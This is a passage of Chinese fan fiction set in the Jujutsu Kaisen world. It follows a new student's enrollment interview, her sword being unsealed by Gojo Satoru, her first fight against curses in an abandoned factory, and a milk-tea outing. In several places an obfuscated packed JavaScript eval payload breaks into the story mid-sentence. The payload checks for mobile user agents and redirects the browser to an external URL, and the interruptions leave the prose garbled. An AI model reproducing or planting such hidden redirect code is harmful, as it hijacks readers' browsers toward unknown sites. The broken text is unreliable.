可就算如此，纱绪里也不敢完全放下警惕，毕竟她现在生活在的可是一个‘超能力是现实存在’的世界，她自己亲手砍过咒灵，一把破剑都能砍出火花，毛绒玩偶能动也……不奇怪吧？ 五条悟比了个有趣的手势，看起来之前纱绪里的话非常有效的将他逗乐了，“要不要试试看？星野同学？” 纱绪里抬起眼，看着五条悟那副‘看好戏’的样子，实在没忍住撇了撇，既然你叫我试的话，那就别怪我了哦五条老师。 “好吧，那我来试试。”她清了清嗓子，语气诚恳地对着玩偶说道，“五条老师其实是女生。” 下一秒，那只布偶猛地扬起手臂，像小炮弹一样挥向她，她忙往旁边一躲，险之又险的躲开之后，背后冷汗都冒了出来。 “哇！”纱绪里忍不住叫出声来，“它它它……竟然真的会打人，动作还这么快。”如果不是她半信半疑还带着点警惕，这一拳就要冲着她的脸来了吧，要是打实了，不是鼻子开花，就是眼眶要黑，这看起来比霍格沃茨的分院式还要吓人啊！ 夜蛾校长神色未变，只提醒了句，“下一次它动作会更快，”在纱绪里难掩震惊的表情中，他又继续道，“现在重新回答一次吧，你为什么想成为咒术师？” 纱绪里一愣，“要再说一遍？”她刚要重新组织措辞，结果旁边的五条悟突然补刀一句，“超过五秒也会被揍哦。” “什么……”纱绪里才张嘴，结果玩偶像是接到信号一样动了动手臂，吓得她瞬间站直大脑空白一片，想也不想的脱口而出，“因为怕死！学咒术可以自保！” “嗯，”夜蛾正道根本不批判纱绪里答案的对错，只是继续问道，“咒术师可不是什么光靠决心就能撑下去的职业，你会面对强大的诅咒，也会面对同伴的死亡，继续走下去路的前方可能是尸山血海，你也做好准备了吗？” 被玩偶威胁着，纱绪里眼睛一闭，根本就来不及思考，直接就将心底的话说了出来，“屁啊，说得好像只有咒术师才会面对尸山血海似的。” 明明就在自家神社，一切都是熟悉的模样，然而那样凶狠诡异的咒灵却真的就这么冒了出来，带着那样似乎要吞噬所有的恶意…… 睁开眼睛，纱绪里的眼前仿佛也被那样的血色樱花也染成了红色一片，那是鲜血和死亡的色泽。那天如果不是五条老师恰好赶到的话，她们家神社，还有村子，只怕已经是一片尸山血海了。 “如果你们现在就告诉我咒灵只攻击咒术师的话，我立刻掉头回去读大学、继承神社、当个普通人天天喂猫晒太阳，谁爱拼命谁拼命。” 就算她的人生理想是躺平，但要把性命完全交到别人手里，她也做不到啊，“问题在于咒灵可是无差别攻击，学了咒术至少还有点自保能力，哪怕是挣扎一下呢也比躺平等死好吧。至于咒术师更容易碰到咒灵，哪有什么既要又要的好事，得了好处当然是要承担风险啊，天上掉馅饼小心噎死。” 话一出口，空气安静了两秒，纱绪里蓦地回过神来，现在只想把玩偶塞回夜蛾校长怀里然后跑路，那就不用面对接下来的事了，逃避可耻但有用啊！ “哦~”五条悟捏了捏下巴，竟然难得没有笑，而是像是在思考什么似的道，“原来是这么实际的答案吗。” 纱绪里痛苦地闭上眼睛，这大概是她这辈子最失败的面试了吧，亏得她还提前准备好了不少问题的答案呢，结果全都没用。算了，不为难自己了，如果面试失败读不了高专的话，就回去读大学吧。咒术的话，就自己再摸索摸索？他们家不是还有把祖传的剑吗？ 然而夜蛾正道却在认真地看了纱绪里片刻之后点点头，“我知道了，”他朝纱绪里伸出手，语气严肃而简洁，“欢迎入学，星野纱绪里。” 纱绪里忍不住吃惊了瞬间，才有些慌张的伸出手来回握住夜蛾校长的手，“诶？诶！谢谢夜蛾校长！” 出了校长室，五条悟语调又轻快了起来，“怎么样怎么样，我说过吧，纱绪里会被录取的。” 纱绪里瞪了一眼五条悟，“你根本没告诉我有这个环节。”真的不是她不想尊师重道，而是真的就忍不住嘛。 “诶~这难道不是开学隐藏的惊喜？”五条悟偏头看向纱绪里，不过她也不是很确定，毕竟看不到他的眼睛。 “你确定不是惊吓？”入学面试会被揍什么的，真的是个特别大的惊吓好不好。不过现在既然都已经这样了，好吧，她还是入学高专吧，不然她自己都有种不划算的感觉，“对了，五条老师，刚才那个测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真好啊!”纱绪里忍不住笑叹了句，觉得自己入学高专这个决定是做对了。五条悟见状就是笑着招呼，“放心了？走吧走吧，接下来就是制服了。” 对于高专的学生制服，纱绪里没什么意见，她觉得斜扣的上衣还挺好看的，至少比她高中时候的校服好看，不过这种包臀裙（？）要穿出去打咒灵，真的不会有问题吗？ 好在高专的制服管理并不像其他学校那样严格，纱绪里之前就读的国中，连袜子的长度都要求统一，这里竟然还能做有限的修改，也算是很相当人性化的地方了。 因为只是稍微改动了裙子的款式，所以明天早上就能领到新的制服开始上课了，而今天的入学手续也就差不多结束了，五条悟也没忘记叮嘱纱绪里，“明天早上的入学仪式不要迟到了哦。” “入学仪式？我知道了我会准时参加的。”等等，五条老师，你那是什么表情，所谓入学仪式真的只是普通的入学仪式，不会还有什么我不知道的惊喜（吓）吧？ 8. 第 8 章 好在纱绪里昨晚担心的入学仪式会不会奇怪并没有发生。第二天一早，高专的入学仪式异常普通，仅仅是在校门口拍照留念而已。 当五条悟举起手机的时候，只有她一个人站在校门口。纱绪里强行抿起嘴角，努力让笑容显得自然一点，可怎么都觉得怪异。明明是入学合影，却只有一个人，就像是孤零零的宣传照。 而她那个很奇怪的班导老师还边叫她笑一笑，边还举起手比了个耶，纱绪里下意识的摆出同样的姿势，却忍不住心底的疯狂吐槽。 然而真正让她哑口无言的，是接下来的上课时间。 教室乍一看和普通学校没什么区别：左边是一排整齐的窗户，阳光透过树梢洒进来，带着风的味道；前方是一张讲台，讲台后面是一整片干净到反光的黑板。 可问题是——教室正中央，只孤零零地摆着一张课桌椅。周围空荡荡的，连风吹过都显得格外清冷。 纱绪里盯着这一幕，沉默了足足五秒。不是她不想说话，而是她真的不知道该说点什么才比较好。 “五条老师，你是认真的？”纱绪里转回头，慢吞吞地问靠在讲台边的白发老师，自己都不知道她到底希望对方怎么回答。 五条悟正站在讲台边上，脸上带着一贯的轻松笑容。他伸出双臂，摆了个很夸张的欢迎姿势，“当然是认真的啊，今年一年级，只有你一个人。” “只有我一个人？”纱绪里伸出手指颤巍巍的指向自己，她原本以为，哪怕咒术界再小众，咒术高专也应该是个正常运作的学校。有课表，有学生，有社团活动。结果现在，她是唯一的学生，而她那个看起来不太正经的班导老师正在准备给她一个人上课？ 刚才入学仪式的时候她还想着高专的入学仪式真奇怪，不是所有学生一起拍照，而是一个个拍，感情结果就真的只有她一个啊？ 所以其实她不是保留了上辈子的记忆，而是穿越到了什么低成本制作的灵异电影里吧，因为摄制组太穷，所以连她这种学生背景也只找了她一个。 五条悟却笑得开心得不得了，双手合掌贴在脸边，语气还特意拉长，“只有你一个人哦，老师一对一辅导，包教包会，包你成为远近驰名的厉害咒术师~” 纱绪里慢慢地捂住眼睛，她现在退学不知道还来不来得及，这样的咒术高专，迟早要完的吧，“如果我没来高专，那这一届高专是不是就没有人了？” 五条悟摇了摇头，“也不是这样，原本应该还有两个学生的，但都因为不同的原因放弃就读了，所以只有纱绪里你一个人哦，”他说得云淡风轻，声音里透着一种‘挺好啊’的愉快调子，“也是老师唯一要教的学生，有没有很期待很高兴？” 纱绪里缓缓地，缓缓地坐到属于自己的课桌边，眼神空洞，整个人有点钝化了。所以她这算什么，万里盐碱地的唯一一颗独苗？ “啊，对了，”五条悟拍了拍手引起纱绪里的注意，“为了欢迎星野同学入学，虽然迟了点，不过，老师给你准备了入学礼物哦。” “礼物？”纱绪里惊了下，五条老师竟然和她说给她准备了礼物？入学礼物？好吧，突然觉得吃枣药丸的高专还是可以抢救下的，礼物是什么倒不重要，主要是礼轻情意重嘛，“啊，谢谢老师。”她有点不好意思的道谢。 五条悟笑眯眯地朝纱绪里伸手，掌心摊开，“把你那把剑给我看看。” 纱绪里低头看了看她买了特制的剑带挂在腰上的神剑，迟疑了一下，还是将那把祖传破剑从剑鞘里抽了出来，递给了五条悟，“请小心。” 这把剑破是破了点，但好歹是她们星野家的传家宝，出问题的话，她一定会被外婆打头的啦。 五条悟轻巧地接过剑，他低头看着那把布满岁月痕迹的剑，神色瞬间收敛了几分，阳光落在他的侧脸，显得轮廓尤其深邃，“你应该知道了，你这把剑，其实是把咒具，不过这个样子还不是它的真实模样……”他说着，抬手按在剑身上，低声念叨了句什么。 就在五条悟的低语落下那一刻，剑身上原本斑驳的锈迹‘咔’地如同薄冰碎裂。 某种纱绪里不懂的符文从剑柄一路亮起，泛起幽蓝与金光交织的光纹，原本灰暗的金属重新焕发出光泽，锋刃锐利，甚至隐隐散出微弱的咒力波动。就好像一把陈旧的破剑，重新被赋予了生命，在瞬间‘活’了过来一样。 ——特级咒具：星辰剑。 纱绪里惊愕地瞪大了眼睛，“五条老师？你做了什么？” “解除了剑的封印而已。”五条悟将剑反转过来还给纱绪里，嘴角扬起一抹愉快的笑容，声音似乎都沾染上了阳光的明快，“欢迎入学，星野纱绪里同学。” 纱绪里抬头看向五条悟，又看看他手里的剑，突然就觉得眼前之人无比顺眼起来，“谢谢，五条老师。”她有点小心翼翼的接过剑，顺手挥了挥，感觉着这把剑完全不同的手感，然后突然想起一件重要的事来，“那个，五条老师……” 五条悟低下头，就看到纱绪里猛地抬起头来，眼睛感觉尤其的亮，“你果然是我见过最强、最帅的咒术师！”反正她总共也只见过不超过五个。 “嗯？”五条悟挑了下眉，嘴角微微勾起，“原来老师在你心目中是这么厉害啊，继续说继续说。” 纱绪里的语速飞快，眼睛里写满了认真，如果不是手里拿着剑不放心肯定要双手合十摆出真诚祈愿的模样，“你刚才那一下，简直像是神话故事里点石成金的名场面一样，气势非凡，视觉效果拉满！” “哈哈哈哈。”五条悟得意的笑出声来，看似被学生的马屁拍爽了，实则是看她要搞什么鬼，“你很有眼光嘛，星野同学。” “我说的是实话。”纱绪里的眼神格外真诚，“要不是这把剑的鞘还是原来那副锈迹斑斑快散架的样子，我都要以为这是全新打造的名剑了……”说到这里，她声音一顿，仿佛终于从感动中回过神来，一副‘忽然想到正事’的模样看向五条悟，“对了，五条老师，既然你都能解除封印了，那、那是不是也能把剑鞘也一起修一修啊？” 她看着五条悟，眼神带点小心翼翼，还不忘再补上一句恭维，“以老师的实力，这种小事应该只是顺手而为吧！” “哦？”五条悟嗓音拉得有点长，笑意不减，“所以你刚才那一长段夸奖，其实是在为这里埋伏笔？” “我这叫真情流露。”纱绪里理直气壮地说，“只是顺便提出一点小小的愿望而已，作为我亲爱的班导老师，应该能完成学生这么一点点小小的愿望吧。” “想得美，”五条悟把手一摊，耸了耸肩，“这把剑是特殊封印咒具，要解除封印不难，但那剑鞘……就是普通剑鞘而已，锈了、破了、老化了，修不了。” “……”纱绪里盯着五条悟三秒，默默低头看了一眼剑，又看了看那破旧的剑鞘，一瞬间感觉自己的‘新手机配老数据线’那味儿完全对了。不知道现在收回夸奖五条老师那些话行不行，她也没想到他只能修剑不能修剑鞘啊，草率了草率了。 五条悟看着纱绪里的表情变化，暗暗笑了笑，声音又重新提了起来，“好了好了，剑的问题解决了，该上课了。来吧来吧，快坐下，开学第一课要开始了。” 纱绪里回过神来，也只能暂时抛下剑鞘的问题，在教室中间唯一的课桌边坐下，看她坐好了，五条悟转身走到黑板前，随手拿起粉笔，修长的手指在黑板上随意点了点，“今天讲的内容是：什么是咒力，以及咒力的基本使用。” 纱绪里几乎是下意识集中起精力，但很快又觉得不对，“等等，五条老师，我的课本呢？”就这么直接上课，哪里都不对吧。 “没有那种东西哦，”五条悟回头，嘴角的笑意若隐若现，“不过不用担心，我讲得比课本好一百倍，纱绪里好好听课就行了。” “……”纱绪里觉得自己整个人都进入了某种佛系状态，接下来再发生什么事情，她都应该不惊讶了？ 但事实证明，纱绪里还是有那么点子惊讶的，她还以为五条老师的讲课也会像他人那样怎么都感觉不靠谱，但实话实说就是五条老师的讲解虽然是有点奇特，但内容却比她想象中清楚得多。 ‘五条老师式’的教学法很简单：不照本宣科，但每一个知识点都用最简单直接的方式讲清楚，如果不明白，那就还有举例说明。 对着下面已经自觉拿出笔记本的学生，五条悟拿着粉笔在黑板上写下几个字，“人类会产生负面情绪，诸如恐惧、愤怒、厌恶，会在无意识中释放出‘咒力’，这就是诅咒的来源。” “而咒术师，就是能控制咒力为己用，与咒灵战斗的人。普通人看不到咒灵，也无法控制咒力，所以才需要咒术师来‘清理’那些咒灵。”他一边说，一边随手涂鸦，画得飞快：一个‘普通人’头上冒着‘烦恼泡泡’，然后变成了个‘咒灵小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为并没有被通知接下来什么时候上课，所以第二天纱绪里也只能自行练习。她坐咒术高专的操场边的台阶上，撑着头开始思考人生，咒力啊，虽然看到过还是觉得好玄幻……她眯起眼睛，表情迷茫得像是刚背完三页古文。没错，就算再活一次，中学也一样是要背古文的！ 思考半天无果之后，纱绪里叹了口气，“既然五条老师都这么说了，那就试着努力感受下，这种东西应该也是师傅领进门，修行靠个人吧。” 她收敛起精神，还是深呼吸，然后整整坐了二十分钟也没感觉到所谓的咒力。 按照她那个不靠谱老师的说法，普通人释放咒力是一件极其自然的事，因为咒力通常是‘无意识地泄露’。而咒术师要做的，就是反其道而行之，控制、引导、凝聚，再释放。 说起来好像很有道理，但对一个新手来说——难如登天。 纱绪里闭上眼，尝试回忆那天挥剑与咒灵战斗的瞬间。那时她什么也没想，只是一种近似本能的情绪：害怕、愤怒、不甘交织而成的压力。那种感觉，就像身体里忽然点燃了什么。她试着模仿，但是一连三次，身体毫无反应。 “不行，看来简单的想象还是太考验我这种没什么想象力的人了，看来还是要简单的场景还原。”纱绪里睁开眼睛，又将旁边的剑拔了出来，盯紧了剑开始努力感受。 既然咒术高专都承认她有咒术师的天赋了，那她肯定是有的，现在还摸不到门还是因为接触得太少了，一次不行就两次，两次不行就三次……所谓铁杵都能磨成针嘛…… 就这样不停地给努力，失败再给自己打气，然后重新来过……一遍又一遍，到重复不知道多少遍，连天空都逐渐黑下来的时候…… 就在某个瞬间，纱绪里察觉到一股极其微弱的波动，她尝试着控制这点小小的波动，将注意力集中在手臂、手心然后是指尖。 纱绪里猛地睁眼，剑身在夕阳下微微闪了一下，非常的微弱，但确实不是她眼睛花了，而是将自己的咒力注入到剑身里了。她哼笑了声，嘴角微微上扬，“哼哼，这么快就感受到了咒力，难道其实我是难得的天才？” 说着就越发觉得自己有道理了，“接着这么下去，我是不是很快就可以脚踩咒灵，拳打老师（？），站上咒术界的最高峰了？” “哎呀，感觉还有点害羞呢。”纱绪里忍不住哈哈大笑，而她这样的错觉持续时间并不长，也仅仅只是到被咒灵摁在地上暴揍为止。 让我们为她祈祷吧。 9. 第 9 章 “这里就是五条老师你说的实践课上课的地方？”纱绪里站在废弃工厂门口，看着眼前实践课场地，打从心底有种想要摆出地铁老人看手机表情的冲动。 眼前的工厂外墙斑驳剥落，锈迹在铁门上铺开，像层层旧伤口。碎裂的窗户残片还挂在窗框上，风一吹便嘎吱作响，像随时会掉下来。院子里散落着不知从哪来的废弃零件与垃圾，空气中弥漫着金属氧化与潮湿腐败混杂的气息。几只乌鸦懒散地盘旋在工厂上空，落下几声干哑的啼叫，更添荒凉。 纱绪里看着这片景象，有种完全不想进去的感觉，而且还忍不住想吐槽，“五条老师，这不是那种犯罪剧里最后一集用来埋尸体的地方吗？” “多功能场地嘛～适合教学。”今天仍旧是绷带蒙着眼睛的五条悟整个人倚在铁门旁，嘴角挂着抹有些轻浮的笑意，衣服‘他就是个来当观众的’的轻松模样。 “多功能场地？你说了吧，你说了吧，这里也可以作为埋尸的地方吧。”纱绪里眉毛猛地跳了下，立刻抬手指着他，声音提高了半度，“所以这里该不会是真的埋着尸体什么的吧，所以才会特别容易产生咒灵。” “不错不错，看来老师上课讲过的内容你都有好好记住，”五条悟笑得仿佛是种表扬，“那么，就不要耽误上课时间了，赶紧进去吧，星野同学。” 纱绪里沉默几秒，盯着五条悟绷带下若隐若现的神色，突然有点心慌，“五条老师，你叫我进去，该不会是要我一个人进去吧？”我还是个才开始学咒术的孩子啊！ “当然啊，你不是一个人面对过咒灵吗？”五条老师语气轻飘飘的，却格外笃定，“你连突破封印的咒灵都砍过了，难道现在还害怕一个人进去？” 纱绪里忍不住扶额，声音里满是‘拜托你有点良心’的无奈，“那不是我没得选吗？”谁叫当时某个不良老师站在旁边看好戏还说什么我可不会管哦，她也是完全没办法了，只能硬着头皮往上冲。 “放心吧，”五条悟总算拾起了点老师的样子，稍微认真了点给纱绪里解释道，“里面的咒灵都经过筛选，是属于‘适合学生练手’级别的。” 虽然听上去像是个安慰，然而纱绪里还是怎么看都觉得不太靠谱，她小心翼翼地开口，“那我能问一下，这里面有多少咒灵吗？”她还是需要点心理准备的，要是进去看到黑压压一片，估计真的会原地晕过去。 “呃——”五条悟声音拖得很长，像是在努力回忆，又仿佛自己也不太确定，“应该……不少吧，我也没有仔细数过耶。” 纱绪里眼神瞬间死掉三分，真心实意地想掉头走人。五条悟却在这时补充了一句，语调很轻快，“不过不用担心，咒灵越弱越喜欢抱团取暖嘛。” “五条老师，你就不能把这句话说在前面吗？”纱绪里也不想提高声音的，但她真的是忍不住，她以前说话真的很少大小声，“而且这话说得好像我还该感谢它们感情深厚似的。” “哈哈，”五条悟像被纱绪里的说法逗乐了，弯着嘴角，露出一口亮白的牙，“好了进去吧，干掉那些咒灵，”他往前一指，像是在宣布一件极其轻松的小事，“出来老师请你吃蛋糕。” 纱绪里用极大的耐性整理了一下情绪，她觉得自从遇到五条悟之后，她的耐性也不知道叫提高了还是降低了，“吃蛋糕还不如喝奶茶。” 日本奶茶可不像上前辈国内那样遍地开花，就算是东京也不算常见，更别提她家神社那种偏僻的地方了。不知道为什么，到了这种时候，她突然很想喝奶茶。 五条悟这种时候倒是好说话得很，笑容也很愉快，“纱绪里喜欢喝奶茶啊，可以哦，老师请你喝奶茶。” “行吧。”纱绪里深吸了口气，反正到了这种时候，伸头也是一刀，缩头也是一刀，还不如干脆点直接上好了，她应该……挺天才的……吧，“那我进去了。”她说着顺手抽出了挂在腰间的剑，转身走向工厂入口。 “加油哦，纱绪里，”五条悟的声音悠悠地响起在背后，“老师看好你哦，按照平时我教的那样去做就行啦。” 纱绪里没有理会五条悟，只是握紧剑，推开吱呀作响的铁门，踏入了工厂的黑暗中。 踏进废弃工厂的那一刻，空气就变了。随着外面的帐放下，光线哪怕在大门敞开也显得昏暗之后，纱绪里能清楚地感觉到一股阴冷气息从墙角、天花板甚至裂缝中涌出，如同潮水缓慢地拍打过她的皮肤。剑握在手里，手心已经出了点汗。 她能感应到又什么东西似乎是在流动，并不强烈，却在逼近。是因为过于紧张产生的错觉，还是前面真的有东西？她悄悄往前挪了两步，握紧了剑柄，脚步小心到几乎没声音。 下一刻，一道灰影从废弃设备后猛地窜出，张牙舞爪地扑了上来。纱绪里想也不想的立刻抬剑，一记横扫挡下了那只咒灵的第一击。咒灵被甩开，但巨大的冲力还是让她稳不住身体，连退了两步才重新站稳。 灰影落地，那是一只体型像儿童大小的咒灵，皮肤呈蜡灰色，面部扭曲得像一团揉烂的纸团。它发出尖锐的咕哝声，又朝纱绪里扑来。 根本来不及多想，纱绪里立刻举剑迎了上去，她没学过用剑，之前也不过是用剑来练习咒力，现在拿着剑只能一阵乱劈，剑术完全不成章法，咒力对于剑身的覆盖也时断时续，但好歹因为有了咒力的加持，使得她的反应速度比之前不知道快了多少。 在劈空两次之后，她终于找准了咒灵的位置，咬着牙强撑着对准咒灵砍去，靠着特级咒具剑锋锐利，很快就将第一只低等级咒灵砍翻在地。 然而纱绪里还没来得及松口气，角落里陆续爬出更多类似的小型咒灵，两只，三只……一窝蜂地从暗处涌出，朝着她跑了过来。 纱绪里倒抽一口凉气，下意识后退两步调整姿势。体内咒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480616|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力的流动并不太稳定，光是维持剑身包裹的咒力就已经让她有些吃力了，然而这么多咒灵一拥而上，也让她顾不了那么多，只能使劲挥着剑，以挥动的频率来增加砍中的几率了。 与此同时，在外的五条悟悠闲的靠在树边，双手环抱在胸前，眼睛虽然被绑带遮着，但六眼却早已洞察工厂内部的动静。 看着纱绪里乱七八糟的动作，他微微扬起唇角，“咒力控制不稳定，动作太多太凌乱，比起使用咒具果然还是应该加强咒力的练习……啊，还漏了个侧后角。”话音未落，就听到里面一声呼痛声，然后是有人摔倒的声音。 五条悟轻笑了一声，手随意撑在脸侧，“咒术师的第一战嘛，磕磕碰碰很正常，好在纱绪里不是会慌乱的类型。” 昏暗的工厂里，纱绪里刚将最后一只低等级咒灵砍倒，一股阴冷的气息骤然扑近。她还没反应过来，背后一团黑影猛地压下，将她直接扑倒在坚硬的水泥地上。 粗暴的力量砸在背脊上，背部传来火辣辣的痛感。纱绪里闷哼了声，咒灵狰狞的面孔近在咫尺，布满肿瘤般肉瘤的身体恶心而扭曲，双臂细长却带着可怕的力量，一拳一拳往下砸，重重砸在她肩膀和手臂上。 纱绪里被砸得呼吸急促，胸腔都震得发疼。怒火在心底骤然升起，她死死攥紧几乎要脱手的剑，低声咬牙道，“竟然敢这样打我……混蛋！” 她猛地反手一剑，剑锋带着咒力的光芒划过空气，特级咒具的威力让直接削掉咒灵一只手臂。纱绪里趁势往旁边一滚，脱离了压制，踉跄着站了起来。空间里只余下她急促的呼吸声和咒灵愤怒低沉的咆哮。 纱绪里强迫自己冷静下来，瞬也不瞬间的盯紧了咒灵的行动轨迹，这种时候只有冷静下来，才能维持咒力的平稳输出，过于情绪化只会增加负担。 那咒灵身形高大，行动比想象的还要迅速，四肢扭曲却灵活异常，现在哪怕少了只手臂也没影响活动，纱绪里连连后退，险险避开了几次攻击，肩膀还是被擦到，布料被撕开一片口子。 “还好……只是擦伤，”她低声嘟囔，眼神越来越锐利。就在咒灵再次扑来的瞬间，纱绪里猛然俯身，握紧剑柄主动迎了上去。她盯紧了咒灵胸腹的空档，重重一剑砍去。 剑刃划破空气，伴随咒力的迸发，狠狠斩入咒灵的胸口，而咒灵的攻击，距离纱绪里的面部，仅仅不到几厘米的距离。 咒灵身体僵硬，发出刺耳的惨叫，黑雾从伤口疯狂涌出，肿瘤般的躯体迅速溃散。它挣扎着扭动了几下，最终还是在咒力的撕扯下化为虚无，恶意彻底散尽。 工厂恢复了诡异的寂静，不再有咒灵出现，纱绪里收回剑，胸口剧烈起伏，汗水与尘土混在一起从脸颊滑下，“呼……呼……我……成功了？” 她盯着逐渐消散的黑雾，呼吸仍旧有些急促，却忍不住弯起了唇角。第一次独自祓除咒灵，她成功了？ 10. 第 10 章 废弃工厂外的风比高专山上要干燥些，要落山的夕阳斜斜洒落在公路边的灌木丛上，风过之后，枝叶发出细微响动。 纱绪里拖着略显沉重的脚步从工厂内走了出来，她肩膀后背都疼得厉害，整个人仿佛被塞进洗衣机甩干又扔出来一样，心情倒还不错。虽然不再觉得自己是天才了，但好歹也算是把工厂里的咒灵都祓除了，也算做得不错了嘛。 见到纱绪里走过来，五条悟鼓起掌来，掌声清脆地响起，丝毫不吝啬表扬，连声音都跟着提了起来，“干得不错哟，纱绪里酱，工厂里的咒灵都祓除了。” 纱绪里抬头看了眼五条悟，难得叹了口气，“五条老师，我现在有点知道你说过的那些话是什么意思了。”他说面对咒灵就是明天能不能回复继续上课的问题，如果她大意了的话，说不定真的见不到明天的太阳了啊，学咒术真的很不容易啊。 “嗯？那句话？”也不知道是不是自己说过的话太多了，五条悟也不知道纱绪里说的是哪句，不过并不妨碍五条老师的自信，“是指老师说过的关于咒力的分析嘛，哈哈，老师毕竟是最强嘛，对咒力的理解当然很透彻了。不然就是之前说过的关于术式的……” 纱绪里几乎是立刻头痛起来，刚才有的那点感叹立刻烟消云散，“等等，五条老师，我不是说这个啊。”算了，这句对五条老师是没用的，不过她刚刚好像听到了什么，“五条老师，你怎么总说自己是最强啊？”虽然她是见识过五条老师祓除咒灵，确实是很强，但最强……会来当老师？ 五条悟笑得格外的得意，显然心情不错，说得也是特别自信，自信到甚至有种理所当然的嚣张，“因为老师确实是最强啊。” 真的假的啊？纱绪里好歹把这句怀疑的话咽回了肚子里，就暂时当五条老师说的都对好了，反正到底是不是她早晚也是会知道的，现在的她就算知道了也没什么真实感吧，“好吧，那最强的五条老师，实践课上完了，我们现在回高专吗？” “不回高专哦，”五条悟摆了摆手，语调仍然轻快，“上课时间结束了，走吧～不是说好请你喝奶茶吗？” 纱绪里动作一顿，随即有些惊讶的看了过去，“你是认真的，不是随便说说？”请你喝奶茶这样的话，不就像哄小孩儿的话吗？ 五条悟立刻想也不想的道，“当然认真的啊，对可爱学生的承诺，当然是要好好信守啊，我可是个守信用的好老师。”说着连奶茶店都已经找好了，“我知道涩谷parco有家新开不久的奶茶店，推荐他们家的白阿华田，入口有明显的麦芽和麦片的香，巧克力的层次也很丰富醇厚，超好喝的哦。” 纱绪里嘴角抽了下，“……行吧。”你说什么就是什么吧，她也是第一次见识到给学生推荐奶茶的老师呢，就……也挺好的。 前往奶茶店的路上，五条悟仍旧一副轻松模样，手插裤兜里走在前头，长腿随随便便迈开就是纱绪里好几步的距离，大概是为了配合学生的脚步，他走得并不太快，脚步却很轻快。 纱绪里跟在他后面，星辰剑仍旧破破烂烂的剑鞘就挂在腰间，衣服还挂着战斗时留下的几道焦黑和血痕，制服肩膀上还破了个口子，抬头就能看到眼前白发术师的背影。夕阳的光，将前面的人的影子拉得很长，长到几乎要把她整个人笼罩其中。 她突然想起之间在神社的时候，消灭完咒灵，他也是这么对着她俯下身，身影几乎填满了她整个视线。 嗯……这么想想的话，她家老师……果然是很大只的长条形啊……又大……又长…… 忍不住偷笑了两声，纱绪里加快了脚步，“五条老师。”五条悟停下脚步回头，夕阳落在他的白发上，有种温暖的光，“怎么了？” 纱绪里几步就走到他身边，“老师你也喜欢喝奶茶吗？”刚才介绍奶茶介绍得这么心得的样子，看样子也是真的很喜欢呢。 当然这个时候的纱绪里，还不知道自己的老师是个多么恐怖的甜食星人，两人一路漫无目的的随意聊着天，一路晃悠到了涉谷。 明明就离之前祓除咒灵的地方不远，但进入热闹的街区之后，人潮涌动，一下就像从恐怖片回到了正常人间。街边奶茶店的招牌灯已经亮起来，冒着热气的甜香扑鼻而来，让人忍不住抽了抽鼻子。 五条悟带着纱绪里进店，站在点单台前歪头看她，非常大方的挥手，“来吧来吧，五条老师特别请客时间，要喝什么随便点。” 纱绪里抬头看了看菜单，给自己点了杯普通的乌龙茶底加珍珠半糖少冰，在进行完这么激烈的战斗后，她觉得她需要补充一点糖分。 五条悟自己则挑了一杯刚才他推荐过的白阿华田全糖加布丁加珍珠，点得那叫一个丝滑。 纱绪里听见这单子的时候，脸上的表情已经不能用震惊来形容了，她侧过头看向自家老师，语气空洞得像是灵魂出窍，“五条老师，您是在喝奶茶，还是在试图自杀？” 白阿华田本来就甜，还全糖，还加布丁……会被糖分杀死的吧，一定会的！ 五条悟双手握拳抵在脸颊边，开心的样子就差没扭动起来了，“甜才有幸福感啊，喝奶茶当然要全糖。” 纱绪里默默的转过头，觉得实在没眼看，才刚想到五条老师是长条形的嘛，扭动起来的话，真的是…… 奶茶店人不多，纱绪里和五条悟没等多久就等来了自己的奶茶，纱绪里将吸管插进去喝了口冰凉的奶茶，糖分和茶香交融，她觉得自己好像缓过来了一口气，“啊，活过来了的感觉，幸福。” 五条悟拿着那杯甜得发腻的阿华田，和自己学生站在一起喝着奶茶，看起来半点违和感也没有，“当然啊，老师说话还是很有道理的嘛。” 纱绪里盯着自家老师那一大口吸上来还冒着泡的布丁和珍珠的奶茶，忽然很慎重其实的提醒道，“五条老师，吃太多糖小心糖尿病啊，因为这样住院的话，我可不会去医院看你。” “好过分，”五条悟立刻有些夸张的叫了声，语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480617|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半真半假，“我还以为我已经是纱绪里重要的老师了呢。” “重要……”纱绪里咬着吸管，眼神飘忽了一瞬，短暂的沉默后慢吞吞的吐出一句，“如果老师你能再认真一点的话。” 